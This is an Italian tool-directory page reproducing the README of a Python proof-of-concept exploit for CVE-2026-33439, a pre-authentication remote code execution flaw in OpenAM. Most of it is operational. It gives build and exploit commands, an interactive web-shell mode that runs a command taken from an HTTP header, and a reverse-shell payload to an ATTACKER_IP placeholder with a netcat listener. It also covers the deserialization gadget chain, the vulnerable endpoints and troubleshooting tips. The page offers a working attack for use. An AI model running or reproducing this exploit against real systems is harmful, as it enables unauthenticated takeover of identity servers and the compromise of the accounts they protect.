Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-33439-PoC — PoC Python che sfrutta CVE-2026-33439, una RCE pre-auth in OpenAM tramite deserializzazione Java del parametro jato.clientSession, con modalità shell interattiva e blind. | Kitploit
Strumenti/GitHubGitHub/jonaschen0103/cve-2026-33439-poc
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingStrumento di Accesso Remoto
GitHub

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
jonaschen0103/cve-2026-33439-poc

CVE-2026-33439-PoC

PoC Python che sfrutta CVE-2026-33439, una RCE pre-auth in OpenAM tramite deserializzazione Java del parametro jato.clientSession, con modalità shell interattiva e blind.

Vedi Repository
17920 giorni faNon ancora revisionato
Condividi

CVE-2026-33439 — RCE Pre-Auth in OpenAM

Esecuzione di codice in remoto pre-autenticazione in OpenIdentityPlatform OpenAM <= 16.0.5 tramite deserializzazione Java non sicura del parametro jato.clientSession (CVSS 9.8).

Solo per test di sicurezza autorizzati.

Avvio Rapido

# 1. Build payload (downloads JARs from Maven Central + compiles gadget chain)
python build.py

# 2. Exploit — interactive shell (output returned in HTTP response)
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

Requisiti

  • Python 3.10+ (solo stdlib, nessun pip install)
  • JDK 21 (per build.py — deve corrispondere alla versione della JVM del server target; JDK 25 produce oggetti serializzati incompatibili)

Due Modalità

Modalità Interattiva (predefinita) — output nella risposta HTTP

L'EvilTranslet legge l'header HTTP cmd dalla richiesta, lo esegue e scrive stdout direttamente nella risposta HTTP. Nessun listener necessario.

# Build interactive payload (no --command flag)
python build.py

# Single command
python exploit.py --url https://target/openam/ui/PWResetUserValidation "whoami"

# Interactive pseudo-shell
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

# Auto-detect endpoint from base URL
python exploit.py --url https://target/openam/ --probe --shell

Modalità Blind — per reverse shell / OOB

Il comando è incorporato nel bytecode dell'EvilTranslet. Non viene restituito alcun output; usa un listener (nc, ecc.) per intercettare i callback.

# Build blind payload with reverse shell command
python build.py --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# Terminal 1: listener
nc -lvnp 4444

# Terminal 2: deliver to all JATO endpoints
python exploit.py --url https://target/openam/ --all

Tutte le Opzioni

build.py

FlagDescrizione
(nessun flag)Crea payload interattivo (legge l'header cmd a runtime)
--command "CMD"Crea payload blind con CMD incorporato nel bytecode
--jars DIRUsa la directory JARs locale invece di scaricare (predefinito: ./libs)
--download-onlyScarica solo i JARs, non compilare

exploit.py

FlagDescrizione
--url URLURL target (obbligatorio) — endpoint completo o URL base con --probe/--all
--shellPseudo-shell interattiva (modalità interattiva)
--probeRileva automaticamente l'endpoint vulnerabile dall'URL base
--allInvia il payload a TUTTI gli endpoint JATO (modalità blind)
--method GET|POSTMetodo di invio HTTP (predefinito: GET)
--proxy URLProxy HTTP (es. http://127.0.0.1:8080 per Burp)
--timeout SECSTimeout richiesta (predefinito: 15)
--verify-tlsAbilita la verifica del certificato TLS
--debugMostra i dettagli di richiesta/risposta

Trasparenza del Payload

Tutto il codice sorgente è nel repository — nessun blob opaco. I sorgenti Java sono incorporati in build.py come costanti stringa leggibili. Dopo la build, verifica l'output:

python verify.py              # summary: classes, integrity, red-flag scan
python verify.py --strings    # all printable strings in the payload
python verify.py --hexdump    # full hex dump
python verify.py --dump p.bin # export raw bytes for SerializationDumper / javap

Gadget Chain

PriorityQueue.readObject()
  -> heapify() -> Column$ColumnComparator.compare()
    -> Column.getTable().isSortedAscending()
    -> Column.getProperty() -> PropertyUtils.getObjectPropertyValue()
      -> TemplatesImpl.getOutputProperties()
        -> defineTransletClasses() -> newInstance()
          -> EvilTranslet.<clinit>()  // command executes here

EvilTranslet (modalità interattiva)

  1. Thread.currentThread().getContextClassLoader().loadClass("com.iplanet.jato.RequestManager") — ottiene la richiesta/risposta HTTP tramite il classloader della webapp
  2. request.getHeader("cmd") — legge il comando
  3. new ProcessBuilder("/bin/sh", "-c", cmd) — esegue
  4. response.reset() — cancella qualsiasi output JSP precedente
  5. Scrive stdout nella risposta come text/plain, poi chiude lo stream di output

EvilTranslet (modalità blind)

  1. Runtime.getRuntime().exec(new String[]{"bash", "-c", "<baked-in command>"}) — fire and forget

Endpoint Vulnerabili

Qualsiasi endpoint JATO ViewBean che renderizza tag <jato:form>, accessibile pre-auth:

EndpointNote
/openam/ui/PWResetUserValidationReset password (più affidabile)
/openam/ui/PWResetQuestionDomande di sicurezza per reset password
/openam/ui/LoginPagina di login

Risoluzione dei Problemi

SintomoCausaSoluzione
Viene restituita una pagina HTML invece dell'output del comandoJSP sovrascrive la rispostaUsa --shell con payload interattivo; oppure passa alla modalità blind
La deserializzazione non si attivaVersione JDK non corrispondenteRicompila con JDK 21: export JAVA_HOME=/path/to/jdk-21
Timeout handshake TLSIl server richiede hostname SNIAggiungi il target a /etc/hosts e usa l'hostname, non l'IP
javac non trovatoJDK non installatoapt install openjdk-21-jdk

Riferimenti

  • NVD — CVE-2026-33439
  • OpenAM Advisory GHSA-2cqq-rpvq-g5qj
  • Broadcom Protection Bulletin

Licenza

MIT

Scarica lo strumento